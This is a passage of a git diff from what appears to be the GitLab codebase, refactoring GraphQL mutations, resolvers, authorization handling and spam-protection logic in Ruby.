index a6f6769116f..4ad9d1d7bf4 100644
--- a/app/finders/user_group_notification_settings_finder.rb
+++ b/app/finders/user_group_notification_settings_finder.rb
@@ -14,6 +14,8 @@ class UserGroupNotificationSettingsFinder
@loaded_groups_with_ancestors = groups_with_ancestors.index_by(&:id)
@loaded_notification_settings = user.notification_settings_for_groups(groups_with_ancestors).preload_source_route.index_by(&:source_id)
+ preload_emails_disabled
+
groups.map do |group|
find_notification_setting_for(group)
end
@@ -45,4 +47,19 @@ class UserGroupNotificationSettingsFinder
parent_setting.level != NotificationSetting.levels[:global] || parent_setting.notification_email.present?
end
+
+ # This method preloads the `emails_disabled` strong memoized method for the given groups.
+ #
+ # For each group, look up the ancestor hierarchy and look for any group where emails_disabled is true.
+ # The lookup is implemented with an EXISTS subquery, so we can look up the ancestor chain for each group individually.
+ # The query will return groups where at least one ancestor has the `emails_disabled` set to true.
+ #
+ # After the query, we set the instance variable.
+ def preload_emails_disabled
+ group_ids_with_disabled_email = Group.ids_with_disabled_email(groups.to_a)
+
+ groups.each do |group|
+ group.emails_disabled_memoized = group_ids_with_disabled_email.include?(group.id) if group.parent_id
+ end
+ end
end
diff --git a/app/finders/users_star_projects_finder.rb b/app/finders/users_star_projects_finder.rb
index 49c4e087b4b..7a7587c8631 100644
--- a/app/finders/users_star_projects_finder.rb
+++ b/app/finders/users_star_projects_finder.rb
@@ -15,9 +15,7 @@ class UsersStarProjectsFinder
stars = UsersStarProject.all
stars = by_project(stars)
stars = by_search(stars)
- stars = filter_visible_profiles(stars)
-
- stars
+ filter_visible_profiles(stars)
end
private
diff --git a/app/graphql/gitlab_schema.rb b/app/graphql/gitlab_schema.rb
index 7ab5dc36e4a..8369d0e120f 100644
--- a/app/graphql/gitlab_schema.rb
+++ b/app/graphql/gitlab_schema.rb
@@ -12,7 +12,6 @@ class GitlabSchema < GraphQL::Schema
use GraphQL::Pagination::Connections
use BatchLoader::GraphQL
- use Gitlab::Graphql::Authorize
use Gitlab::Graphql::Pagination::Connections
use Gitlab::Graphql::GenericTracing
use Gitlab::Graphql::Timeout, max_seconds: Gitlab.config.gitlab.graphql_timeout
@@ -32,9 +31,10 @@ class GitlabSchema < GraphQL::Schema
class << self
def multiplex(queries, **kwargs)
- kwargs[:max_complexity] ||= max_query_complexity(kwargs[:context])
+ kwargs[:max_complexity] ||= max_query_complexity(kwargs[:context]) unless kwargs.key?(:max_complexity)
queries.each do |query|
+ query[:max_complexity] ||= max_query_complexity(kwargs[:context]) unless query.key?(:max_complexity)
query[:max_depth] = max_query_depth(kwargs[:context])
end
@@ -111,6 +111,7 @@ class GitlabSchema < GraphQL::Schema
#
# Options:
# * :expected_type [Class] - the type of object this GlobalID should refer to.
+ # * :expected_type [[Class]] - array of the types of object this GlobalID should refer to.
#
# e.g.
#
@@ -120,14 +121,14 @@ class GitlabSchema < GraphQL::Schema
# gid.model_class == ::Project
# ```
def parse_gid(global_id, ctx = {})
- expected_type = ctx[:expected_type]
+ expected_types = Array(ctx[:expected_type])
gid = GlobalID.parse(global_id)
raise Gitlab::Graphql::Errors::ArgumentError, "#{global_id} is not a valid GitLab ID." unless gid
- if expected_type && !gid.model_class.ancestors.include?(expected_type)
- vars = { global_id: global_id, expected_type: expected_type }
- msg = _('%{global_id} is not a valid ID for %{expected_type}.') % vars
+ if expected_types.any? && expected_types.none? { |type| gid.model_class.ancestors.include?(type) }
+ vars = { global_id: global_id, expected_types: expected_types.join(', ') }
+ msg = _('%{global_id} is not a valid ID for %{expected_types}.') % vars
raise Gitlab::Graphql::Errors::ArgumentError, msg
end
diff --git a/app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb b/app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb
index 32ca6de9b96..ea1502d4b62 100644
--- a/app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb
+++ b/app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb
@@ -8,7 +8,7 @@ module Mutations
ADMIN_MESSAGE = 'You must be an admin to use this mutation'
- Labkit::Context::KNOWN_KEYS.each do |key|
+ Gitlab::ApplicationContext::KNOWN_KEYS.each do |key|
argument key,
GraphQL::STRING_TYPE,
required: false,
diff --git a/app/graphql/mutations/alert_management/prometheus_integration/create.rb b/app/graphql/mutations/alert_management/prometheus_integration/create.rb
index 87e6bc46937..c6dc85dc07c 100644
--- a/app/graphql/mutations/alert_management/prometheus_integration/create.rb
+++ b/app/graphql/mutations/alert_management/prometheus_integration/create.rb
@@ -18,7 +18,7 @@ module Mutations
argument :api_url, GraphQL::STRING_TYPE,
required: true,
- description: 'Endpoint at which prometheus can be queried.'
+ description: 'Endpoint at which Prometheus can be queried.'
def resolve(args)
project = authorized_find!(args[:project_path])
diff --git a/app/graphql/mutations/alert_management/prometheus_integration/update.rb b/app/graphql/mutations/alert_management/prometheus_integration/update.rb
index 62fb81bca5a..7594766176f 100644
--- a/app/graphql/mutations/alert_management/prometheus_integration/update.rb
+++ b/app/graphql/mutations/alert_management/prometheus_integration/update.rb
@@ -16,7 +16,7 @@ module Mutations
argument :api_url, GraphQL::STRING_TYPE,
required: false,
- description: "Endpoint at which prometheus can be queried."
+ description: "Endpoint at which Prometheus can be queried."
def resolve(args)
integration = authorized_find!(id: args[:id])
diff --git a/app/graphql/mutations/base_mutation.rb b/app/graphql/mutations/base_mutation.rb
index ac5ddc5bd4c..1f18a37fcb9 100644
--- a/app/graphql/mutations/base_mutation.rb
+++ b/app/graphql/mutations/base_mutation.rb
@@ -2,13 +2,14 @@
module Mutations
class BaseMutation < GraphQL::Schema::RelayClassicMutation
- prepend Gitlab::Graphql::Authorize::AuthorizeResource
+ include Gitlab::Graphql::Authorize::AuthorizeResource
prepend Gitlab::Graphql::CopyFieldDescription
prepend ::Gitlab::Graphql::GlobalIDCompatibility
ERROR_MESSAGE = 'You cannot perform write operations on a read-only instance'
field_class ::Types::BaseField
+ argument_class ::Types::BaseArgument
field :errors, [GraphQL::STRING_TYPE],
null: false,
@@ -28,11 +29,29 @@ module Mutations
end
def ready?(**args)
- if Gitlab::Database.read_only?
- raise Gitlab::Graphql::Errors::ResourceNotAvailable, ERROR_MESSAGE
- else
- true
+ raise_resource_not_available_error! ERROR_MESSAGE if Gitlab::Database.read_only?
+
+ true
+ end
+
+ def load_application_object(argument, lookup_as_type, id, context)
+ ::Gitlab::Graphql::Lazy.new { super }.catch(::GraphQL::UnauthorizedError) do |e|
+ Gitlab::ErrorTracking.track_exception(e)
+ # The default behaviour is to abort processing and return nil for the
+ # entire mutation field, but not set any top-level errors. We prefer to
+ # at least say that something went wrong.
+ raise_resource_not_available_error!
end
end
+
+ def self.authorized?(object, context)
+ # we never provide an object to mutations, but we do need to have a user.
+ context[:current_user].present? && !context[:current_user].blocked?
+ end
+
+ # See: AuthorizeResource#authorized_resource?
+ def self.authorization
+ @authorization ||= ::Gitlab::Graphql::Authorize::ObjectAuthorization.new(authorize)
+ end
end
end
diff --git a/app/graphql/mutations/boards/issues/issue_move_list.rb b/app/graphql/mutations/boards/issues/issue_move_list.rb
index 096ac89db1c..f32205643da 100644
--- a/app/graphql/mutations/boards/issues/issue_move_list.rb
+++ b/app/graphql/mutations/boards/issues/issue_move_list.rb
@@ -52,13 +52,10 @@ module Mutations
super
end
- def resolve(board:, **args)
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/-/issues/247861')
+ def resolve(board:, project_path:, iid:, **args)
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/247861')
- raise_resource_not_available_error! unless board
- authorize_board!(board)
-
- issue = authorized_find!(project_path: args[:project_path], iid: args[:iid])
+ issue = authorized_find!(project_path: project_path, iid: iid)
move_params = { id: issue.id, board_id: board.id }.merge(move_arguments(args))
move_issue(board, issue, move_params)
@@ -84,12 +81,6 @@ module Mutations
def move_arguments(args)
args.slice(:from_list_id, :to_list_id, :move_after_id, :move_before_id)
end
-
- def authorize_board!(board)
- return if Ability.allowed?(current_user, :read_issue_board, board.resource_parent)
-
- raise_resource_not_available_error!
- end
end
end
end
diff --git a/app/graphql/mutations/ci/ci_cd_settings_update.rb b/app/graphql/mutations/ci/ci_cd_settings_update.rb
index 6b7750ee860..d7451babaea 100644
--- a/app/graphql/mutations/ci/ci_cd_settings_update.rb
+++ b/app/graphql/mutations/ci/ci_cd_settings_update.rb
@@ -17,13 +17,23 @@ module Mutations
required: false,
description: 'Indicates if the latest artifact should be kept for this project.'
+ field :ci_cd_settings,
+ Types::Ci::CiCdSettingType,
+ null: false,
+ description: 'The CI/CD settings after mutation.'
+
def resolve(full_path:, **args)
project = authorized_find!(full_path)
settings = project.ci_cd_settings
settings.update(args)
- { errors: errors_on_object(settings) }
+ {
+ ci_cd_settings: settings,
+ errors: errors_on_object(settings)
+ }
end
end
end
end
+
+Mutations::Ci::CiCdSettingsUpdate.prepend_if_ee('::EE::Mutations::Ci::CiCdSettingsUpdate')
diff --git a/app/graphql/mutations/concerns/mutations/assignable.rb b/app/graphql/mutations/concerns/mutations/assignable.rb
index f6f4b744f4e..d3ab0a1779a 100644
--- a/app/graphql/mutations/concerns/mutations/assignable.rb
+++ b/app/graphql/mutations/concerns/mutations/assignable.rb
@@ -13,19 +13,15 @@ module Mutations
argument :operation_mode,
Types::MutationOperationModeEnum,
required: false,
+ default_value: Types::MutationOperationModeEnum.default_mode,
description: 'The operation to perform. Defaults to REPLACE.'
end
- def resolve(project_path:, iid:, assignee_usernames:, operation_mode: Types::MutationOperationModeEnum.enum[:replace])
+ def resolve(project_path:, iid:, assignee_usernames:, operation_mode:)
resource = authorized_find!(project_path: project_path, iid: iid)
+ users = new_assignees(resource, assignee_usernames)
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/issues/36098') if resource.is_a?(MergeRequest)
-
- update_service_class.new(
- resource.project,
- current_user,
- assignee_ids: assignee_ids(resource, assignee_usernames, operation_mode)
- ).execute(resource)
+ assign!(resource, users, operation_mode)
{
resource.class.name.underscore.to_sym => resource,
@@ -35,18 +31,32 @@ module Mutations
private
- def assignee_ids(resource, usernames, operation_mode)
- assignee_ids = []
- assignee_ids += resource.assignees.map(&:id) if Types::MutationOperationModeEnum.enum.values_at(:remove, :append).include?(operation_mode)
- user_ids = UsersFinder.new(current_user, username: usernames).execute.map(&:id)
+ def assign!(resource, users, operation_mode)
+ update_service_class.new(
+ resource.project,
+ current_user,
+ assignee_ids: assignee_ids(resource, users, operation_mode)
+ ).execute(resource)
+ end
- if operation_mode == Types::MutationOperationModeEnum.enum[:remove]
- assignee_ids -= user_ids
- else
- assignee_ids |= user_ids
- end
+ def new_assignees(resource, usernames)
+ UsersFinder.new(current_user, username: usernames).execute.to_a
+ end
+
+ def assignee_ids(resource, users, mode)
+ transform_list(mode, resource, users.map(&:id))
+ end
+
+ def current_assignee_ids(resource)
+ resource.assignees.map(&:id)
+ end
- assignee_ids
+ def transform_list(mode, resource, new_values)
+ case mode
+ when 'REPLACE' then new_values
+ when 'APPEND' then current_assignee_ids(resource) | new_values
+ when 'REMOVE' then current_assignee_ids(resource) - new_values
+ end
end
end
end
diff --git a/app/graphql/mutations/concerns/mutations/can_mutate_spammable.rb b/app/graphql/mutations/concerns/mutations/can_mutate_spammable.rb
index ba644eff36c..3c5f077110c 100644
--- a/app/graphql/mutations/concerns/mutations/can_mutate_spammable.rb
+++ b/app/graphql/mutations/concerns/mutations/can_mutate_spammable.rb
@@ -1,64 +1,51 @@
# frozen_string_literal: true
module Mutations
- # This concern can be mixed into a mutation to provide support for spam checking,
- # and optionally support the workflow to allow clients to display and solve CAPTCHAs.
+ # This concern is deprecated and will be deleted in 14.6
+ #
+ # Use the SpamProtection concern instead.
module CanMutateSpammable
extend ActiveSupport::Concern
- include Spam::Concerns::HasSpamActionResponseFields
- # NOTE: The arguments and fields are intentionally named with 'captcha' instead of 'recaptcha',
- # so that they can be applied to future alternative CAPTCHA implementations other than
- # reCAPTCHA (e.g. FriendlyCaptcha) without having to change the names and descriptions in the API.
+ DEPRECATION_NOTICE = {
+ reason: 'Use spam protection with HTTP headers instead',
+ milestone: '13.11'
+ }.freeze
+
included do
argument :captcha_response, GraphQL::STRING_TYPE,
required: false,
+ deprecated: DEPRECATION_NOTICE,
description: 'A valid CAPTCHA response value obtained by using the provided captchaSiteKey with a CAPTCHA API to present a challenge to be solved on the client. Required to resubmit if the previous operation returned "NeedsCaptchaResponse: true".'
argument :spam_log_id, GraphQL::INT_TYPE,
required: false,
+ deprecated: DEPRECATION_NOTICE,
description: 'The spam log ID which must be passed along with a valid CAPTCHA response for the operation to be completed. Required to resubmit if the previous operation returned "NeedsCaptchaResponse: true".'
field :spam,
GraphQL::BOOLEAN_TYPE,
null: true,
+ deprecated: DEPRECATION_NOTICE,
description: 'Indicates whether the operation was detected as definite spam. There is no option to resubmit the request with a CAPTCHA response.'
field :needs_captcha_response,
GraphQL::BOOLEAN_TYPE,
null: true,
+ deprecated: DEPRECATION_NOTICE,
description: 'Indicates whether the operation was detected as possible spam and not completed. If CAPTCHA is enabled, the request must be resubmitted with a valid CAPTCHA response and spam_log_id included for the operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true.'
field :spam_log_id,
GraphQL::INT_TYPE,
null: true,
+ deprecated: DEPRECATION_NOTICE,
description: 'The spam log ID which must be passed along with a valid CAPTCHA response for an operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true.'
field :captcha_site_key,
GraphQL::STRING_TYPE,
null: true,
+ deprecated: DEPRECATION_NOTICE,
description: 'The CAPTCHA site key which must be used to render a challenge for the user to solve to obtain a valid captchaResponse value. Included only when an operation was not completed because "NeedsCaptchaResponse" is true.'
end
-
- private
-
- # additional_spam_params -> hash
- #
- # Used from a spammable mutation's #resolve method to generate
- # the required additional spam/recaptcha params which must be merged into the params
- # passed to the constructor of a service, where they can then be used in the service
- # to perform spam checking via SpamActionService.
- #
- # Also accesses the #context of the mutation's Resolver superclass to obtain the request.
- #
- # Example:
- #
- # existing_args.merge!(additional_spam_params)
- def additional_spam_params
- {
- api: true,
- request: context[:request]
- }
- end
end
end
diff --git a/app/graphql/mutations/concerns/mutations/spam_protection.rb b/app/graphql/mutations/concerns/mutations/spam_protection.rb
new file mode 100644
index 00000000000..d765da23a4b
--- /dev/null
+++ b/app/graphql/mutations/concerns/mutations/spam_protection.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module Mutations
+ # This concern can be mixed into a mutation to provide support for spam checking,
+ # and optionally support the workflow to allow clients to display and solve CAPTCHAs.
+ module SpamProtection
+ extend ActiveSupport::Concern
+ include Spam::Concerns::HasSpamActionResponseFields
+
+ SpamActionError = Class.new(GraphQL::ExecutionError)
+ NeedsCaptchaResponseError = Class.new(SpamActionError)
+ SpamDisallowedError = Class.new(SpamActionError)
+
+ NEEDS_CAPTCHA_RESPONSE_MESSAGE = "Request denied. Solve CAPTCHA challenge and retry"
+ SPAM_DISALLOWED_MESSAGE = "Request denied. Spam detected"
+
+ private
+
+ # additional_spam_params -> hash
+ #
+ # Used from a spammable mutation's #resolve method to generate
+ # the required additional spam/CAPTCHA params which must be merged into the params
+ # passed to the constructor of a service, where they can then be used in the service
+ # to perform spam checking via SpamActionService.
+ #
+ # Also accesses the #context of the mutation's Resolver superclass to obtain the request.
+ #
+ # Example:
+ #
+ # existing_args.merge!(additional_spam_params)
+ def additional_spam_params
+ {
+ api: true,
+ request: context[:request]
+ }
+ end
+
+ def spam_action_response(object)
+ fields = spam_action_response_fields(object)
+
+ # If the SpamActionService detected something as spam,
+ # this is non-recoverable and the needs_captcha_response
+ # should not be considered
+ kind = if fields[:spam]
+ :spam
+ elsif fields[:needs_captcha_response]
+ :needs_captcha_response
+ end
+
+ [kind, fields]
+ end
+
+ def check_spam_action_response!(object)
+ kind, fields = spam_action_response(object)
+
+ case kind
+ when :needs_captcha_response
+ fields.delete :spam
+ raise NeedsCaptchaResponseError.new(NEEDS_CAPTCHA_RESPONSE_MESSAGE, extensions: fields)
+ when :spam
+ raise SpamDisallowedError.new(SPAM_DISALLOWED_MESSAGE, extensions: { spam: true })
+ else
+ nil
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/container_repositories/destroy_tags.rb b/app/graphql/mutations/container_repositories/destroy_tags.rb
index 636ceccee04..12d65f604b8 100644
--- a/app/graphql/mutations/container_repositories/destroy_tags.rb
+++ b/app/graphql/mutations/container_repositories/destroy_tags.rb
@@ -3,7 +3,7 @@
module Mutations
module ContainerRepositories
class DestroyTags < ::Mutations::ContainerRepositories::DestroyBase
- LIMIT = 20.freeze
+ LIMIT = 20
TOO_MANY_TAGS_ERROR_MESSAGE = "Number of tags is greater than #{LIMIT}"
diff --git a/app/graphql/mutations/issues/move.rb b/app/graphql/mutations/issues/move.rb
index 3f97325c921..0f2af99bf61 100644
--- a/app/graphql/mutations/issues/move.rb
+++ b/app/graphql/mutations/issues/move.rb
@@ -11,7 +11,7 @@ module Mutations
description: 'The project to move the issue to.'
def resolve(project_path:, iid:, target_project_path:)
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab/-/issues/267762')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20816')
issue = authorized_find!(project_path: project_path, iid: iid)
source_project = issue.project
diff --git a/app/graphql/mutations/issues/set_assignees.rb b/app/graphql/mutations/issues/set_assignees.rb
index a4d1c755b53..8413c89b010 100644
--- a/app/graphql/mutations/issues/set_assignees.rb
+++ b/app/graphql/mutations/issues/set_assignees.rb
@@ -7,6 +7,19 @@ module Mutations
include Assignable
+ def assign!(issue, users, mode)
+ permitted, forbidden = users.partition { |u| u.can?(:read_issue, issue) }
+
+ super(issue, permitted, mode)
+
+ forbidden.each do |user|
+ issue.errors.add(
+ :assignees,
+ "Cannot assign #{user.to_reference} to #{issue.to_reference}"
+ )
+ end
+ end
+
def update_service_class
::Issues::UpdateService
end
diff --git a/app/graphql/mutations/merge_requests/accept.rb b/app/graphql/mutations/merge_requests/accept.rb
index 540be7098ac..da94dcd8890 100644
--- a/app/graphql/mutations/merge_requests/accept.rb
+++ b/app/graphql/mutations/merge_requests/accept.rb
@@ -42,7 +42,8 @@ module Mutations
description: 'Squash commits on the source branch before merge.'
def resolve(project_path:, iid:, **args)
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42317')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/4796')
+
merge_request = authorized_find!(project_path: project_path, iid: iid)
project = merge_request.target_project
merge_params = args.compact.with_indifferent_access
diff --git a/app/graphql/mutations/merge_requests/set_assignees.rb b/app/graphql/mutations/merge_requests/set_assignees.rb
index 548c6b55a85..dc96523685e 100644
--- a/app/graphql/mutations/merge_requests/set_assignees.rb
+++ b/app/graphql/mutations/merge_requests/set_assignees.rb
@@ -8,7 +8,7 @@ module Mutations
include Assignable
def update_service_class
- ::MergeRequests::UpdateService
+ ::MergeRequests::UpdateAssigneesService
end
end
end
diff --git a/app/graphql/mutations/release_asset_links/delete.rb b/app/graphql/mutations/release_asset_links/delete.rb
new file mode 100644
index 00000000000..dd450f36cdd
--- /dev/null
+++ b/app/graphql/mutations/release_asset_links/delete.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module Mutations
+ module ReleaseAssetLinks
+ class Delete < BaseMutation
+ graphql_name 'ReleaseAssetLinkDelete'
+
+ authorize :destroy_release
+
+ ReleaseAssetLinkID = ::Types::GlobalIDType[::Releases::Link]
+
+ argument :id, ReleaseAssetLinkID,
+ required: true,
+ description: 'ID of the release asset link to delete.'
+
+ field :link,
+ Types::ReleaseAssetLinkType,
+ null: true,
+ description: 'The deleted release asset link.'
+
+ def resolve(id:)
+ link = authorized_find!(id)
+
+ unless link.destroy
+ return { link: nil, errors: link.errors.full_messages }
+ end
+
+ { link: link, errors: [] }
+ end
+
+ def find_object(id)
+ # TODO: remove this line when the compatibility layer is removed
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
+ id = ReleaseAssetLinkID.coerce_isolated_input(id)
+
+ GitlabSchema.find_by_gid(id)
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/snippets/create.rb b/app/graphql/mutations/snippets/create.rb
index 7f2dd448b8b..e9b45294659 100644
--- a/app/graphql/mutations/snippets/create.rb
+++ b/app/graphql/mutations/snippets/create.rb
@@ -5,6 +5,7 @@ module Mutations
class Create < BaseMutation
include ServiceCompatibility
include CanMutateSpammable
+ include Mutations::SpamProtection
authorize :create_snippet
@@ -56,12 +57,12 @@ module Mutations
end
snippet = service_response.payload[:snippet]
- with_spam_action_response_fields(snippet) do
- {
- snippet: service_response.success? ? snippet : nil,
- errors: errors_on_object(snippet)
- }
- end
+ check_spam_action_response!(snippet)
+
+ {
+ snippet: service_response.success? ? snippet : nil,
+ errors: errors_on_object(snippet)
+ }
end
private
diff --git a/app/graphql/mutations/snippets/update.rb b/app/graphql/mutations/snippets/update.rb
index 9f9f8bca848..b9b9b13eebb 100644
--- a/app/graphql/mutations/snippets/update.rb
+++ b/app/graphql/mutations/snippets/update.rb
@@ -5,6 +5,7 @@ module Mutations
class Update < Base
include ServiceCompatibility
include CanMutateSpammable
+ include Mutations::SpamProtection
graphql_name 'UpdateSnippet'
@@ -45,12 +46,12 @@ module Mutations
end
snippet = service_response.payload[:snippet]
- with_spam_action_response_fields(snippet) do
- {
- snippet: service_response.success? ? snippet : snippet.reset,
- errors: errors_on_object(snippet)
- }
- end
+ check_spam_action_response!(snippet)
+
+ {
+ snippet: service_response.success? ? snippet : snippet.reset,
+ errors: errors_on_object(snippet)
+ }
end
private
diff --git a/app/graphql/queries/pipelines/get_pipeline_details.query.graphql b/app/graphql/queries/pipelines/get_pipeline_details.query.graphql
index 92323923266..959bf7dc91d 100644
--- a/app/graphql/queries/pipelines/get_pipeline_details.query.graphql
+++ b/app/graphql/queries/pipelines/get_pipeline_details.query.graphql
@@ -27,6 +27,7 @@ query getPipelineDetails($projectPath: ID!, $iid: ID!) {
__typename
id
iid
+ usesNeeds
downstream {
__typename
nodes {
diff --git a/app/graphql/resolvers/alert_management/http_integrations_resolver.rb b/app/graphql/resolvers/alert_management/http_integrations_resolver.rb
index 94a72bca7c7..abc54614a59 100644
--- a/app/graphql/resolvers/alert_management/http_integrations_resolver.rb
+++ b/app/graphql/resolvers/alert_management/http_integrations_resolver.rb
@@ -3,19 +3,39 @@
module Resolvers
module AlertManagement
class HttpIntegrationsResolver < BaseResolver
- alias_method :project, :synchronized_object
+ include ::Gitlab::Graphql::Laziness
+
+ alias_method :project, :object
+
+ argument :id, Types::GlobalIDType[::AlertManagement::HttpIntegration],
+ required: false,
+ description: 'ID of the integration.'
type Types::AlertManagement::HttpIntegrationType.connection_type, null: true
- def resolve(**args)
- http_integrations
+ def resolve(id: nil)
+ return [] unless Ability.allowed?(current_user, :admin_operations, project)
+
+ if id
+ integrations_by(gid: id)
+ else
+ http_integrations
+ end
end
private
- def http_integrations
- return [] unless Ability.allowed?(current_user, :admin_operations, project)
+ def integrations_by(gid:)
+ id = Types::GlobalIDType[::AlertManagement::HttpIntegration].coerce_isolated_input(gid)
+ object = GitlabSchema.find_by_gid(id)
+
+ defer { object }.then do |integration|
+ ret = integration if project == integration&.project
+ Array.wrap(ret)
+ end
+ end
+ def http_integrations
::AlertManagement::HttpIntegrationsFinder.new(project, {}).execute
end
end
diff --git a/app/graphql/resolvers/alert_management/integrations_resolver.rb b/app/graphql/resolvers/alert_management/integrations_resolver.rb
index 4d1fe367277..cb7e73c2d1a 100644
--- a/app/graphql/resolvers/alert_management/integrations_resolver.rb
+++ b/app/graphql/resolvers/alert_management/integrations_resolver.rb
@@ -3,27 +3,60 @@
module Resolvers
module AlertManagement
class IntegrationsResolver < BaseResolver
- alias_method :project, :synchronized_object
+ include ::Gitlab::Graphql::Laziness
+
+ alias_method :project, :object
+
+ argument :id, ::Types::GlobalIDType,
+ required: false,
+ description: 'ID of the integration.'
type Types::AlertManagement::IntegrationType.connection_type, null: true
- def resolve(**args)
- http_integrations + prometheus_integrations
+ def resolve(id: nil)
+ if id
+ integrations_by(gid: id)
+ else
+ http_integrations + prometheus_integrations
+ end
end
private
+ def integrations_by(gid:)
+ object = GitlabSchema.object_from_id(gid, expected_type: expected_integration_types)
+ defer { object }.then do |integration|
+ ret = integration if project == integration&.project
+ Array.wrap(ret)
+ end
+ end
+
def prometheus_integrations
- return [] unless Ability.allowed?(current_user, :admin_project, project)
+ return [] unless prometheus_integrations_allowed?
Array(project.prometheus_service)
end
def http_integrations
- return [] unless Ability.allowed?(current_user, :admin_operations, project)
+ return [] unless http_integrations_allowed?
::AlertManagement::HttpIntegrationsFinder.new(project, {}).execute
end
+
+ def prometheus_integrations_allowed?
+ Ability.allowed?(current_user, :admin_project, project)
+ end
+
+ def http_integrations_allowed?
+ Ability.allowed?(current_user, :admin_operations, project)
+ end
+
+ def expected_integration_types
+ [].tap do |types|
+ types << ::AlertManagement::HttpIntegration if http_integrations_allowed?
+ types << ::PrometheusService if prometheus_integrations_allowed?
+ end
+ end
end
end
end
diff --git a/app/graphql/resolvers/base_resolver.rb b/app/graphql/resolvers/base_resolver.rb
index 67bba079512..48563633d11 100644
--- a/app/graphql/resolvers/base_resolver.rb
+++ b/app/graphql/resolvers/base_resolver.rb
@@ -39,9 +39,7 @@ module Resolvers
as_single << block
# Have we been called after defining the single version of this resolver?
- if @single.present?
- @single.instance_exec(&block)
- end
+ @single.instance_exec(&block) if @single.present?
end
def self.as_single
@@ -90,7 +88,7 @@ module Resolvers
def self.last
parent = self
- @last ||= Class.new(self.single) do
+ @last ||= Class.new(single) do
type parent.singular_type, null: true
def select_result(results)
@@ -138,16 +136,6 @@ module Resolvers
end
end
- # TODO: remove! This should never be necessary
- # Remove as part of https://gitlab.com/gitlab-org/gitlab/-/issues/13984,
- # since once we use that authorization approach, the object is guaranteed to
- # be synchronized before any field.
- def synchronized_object
- strong_memoize(:synchronized_object) do
- ::Gitlab::Graphql::Lazy.force(object)
- end
- end
-
def single?
false
end
@@ -160,5 +148,13 @@ module Resolvers
def select_result(results)
results
end
+
+ def self.authorization
+ @authorization ||= ::Gitlab::Graphql::Authorize::ObjectAuthorization.new(try(:required_permissions))
+ end
+
+ def self.authorized?(object, context)
+ authorization.ok?(object, context[:current_user])
+ end
end
end
diff --git a/app/graphql/resolvers/blobs_resolver.rb b/app/graphql/resolvers/blobs_resolver.rb
new file mode 100644
index 00000000000..d006769bd4b
--- /dev/null
+++ b/app/graphql/resolvers/blobs_resolver.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class BlobsResolver < BaseResolver
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+
+ type Types::Tree::BlobType.connection_type, null: true
+ authorize :download_code
+ calls_gitaly!
+
+ alias_method :repository, :object
+
+ argument :paths, [GraphQL::STRING_TYPE],
+ required: true,
+ description: 'Array of desired blob paths.'
+ argument :ref, GraphQL::STRING_TYPE,
+ required: false,
+ default_value: nil,
+ description: 'The commit ref to get the blobs from. Default value is HEAD.'
+
+ # We fetch blobs from Gitaly efficiently but it still scales O(N) with the
+ # number of paths being fetched, so apply a scaling limit to that.
+ def self.resolver_complexity(args, child_complexity:)
+ super + (args[:paths] || []).size
+ end
+
+ def resolve(paths:, ref:)
+ authorize!(repository.container)
+
+ return [] if repository.empty?
+
+ ref ||= repository.root_ref
+
+ repository.blobs_at(paths.map { |path| [ref, path] })
+ end
+ end
+end
diff --git a/app/graphql/resolvers/board_lists_resolver.rb b/app/graphql/resolvers/board_lists_resolver.rb
index e66f7b97b40..0b699006626 100644
--- a/app/graphql/resolvers/board_lists_resolver.rb
+++ b/app/graphql/resolvers/board_lists_resolver.rb
@@ -3,13 +3,12 @@
module Resolvers
class BoardListsResolver < BaseResolver
include BoardIssueFilterable
- prepend ManualAuthorization
include Gitlab::Graphql::Authorize::AuthorizeResource
+ include LooksAhead
type Types::BoardListType, null: true
- extras [:lookahead]
-
authorize :read_issue_board_list
+ authorizes_object!
argument :id, Types::GlobalIDType[List],
required: false,
@@ -21,15 +20,11 @@ module Resolvers
alias_method :board, :object
- def resolve(lookahead: nil, id: nil, issue_filters: {})
- authorize!(board)
-
+ def resolve_with_lookahead(id: nil, issue_filters: {})
lists = board_lists(id)
context.scoped_set!(:issue_filters, issue_filters(issue_filters))
- if load_preferences?(lookahead)
- List.preload_preferences_for_user(lists, current_user)
- end
+ List.preload_preferences_for_user(lists, current_user) if load_preferences?
offset_pagination(lists)
end
@@ -46,9 +41,8 @@ module Resolvers
service.execute(board, create_default_lists: false)
end
- def load_preferences?(lookahead)
- lookahead&.selection(:edges)&.selection(:node)&.selects?(:collapsed) ||
- lookahead&.selection(:nodes)&.selects?(:collapsed)
+ def load_preferences?
+ node_selection&.selects?(:collapsed)
end
def extract_list_id(gid)
diff --git a/app/graphql/resolvers/board_resolver.rb b/app/graphql/resolvers/board_resolver.rb
index 637d690e4cd..85362ab1422 100644
--- a/app/graphql/resolvers/board_resolver.rb
+++ b/app/graphql/resolvers/board_resolver.rb
@@ -2,7 +2,7 @@
module Resolvers
class BoardResolver < BaseResolver.single
- alias_method :parent, :synchronized_object
+ alias_method :parent, :object
type Types::BoardType, null: true
diff --git a/app/graphql/resolvers/ci/config_resolver.rb b/app/graphql/resolvers/ci/config_resolver.rb
index f8670649e48..252c9d3acf0 100644
--- a/app/graphql/resolvers/ci/config_resolver.rb
+++ b/app/graphql/resolvers/ci/config_resolver.rb
@@ -7,6 +7,10 @@ module Resolvers
include ResolvesProject
type Types::Ci::Config::ConfigType, null: true
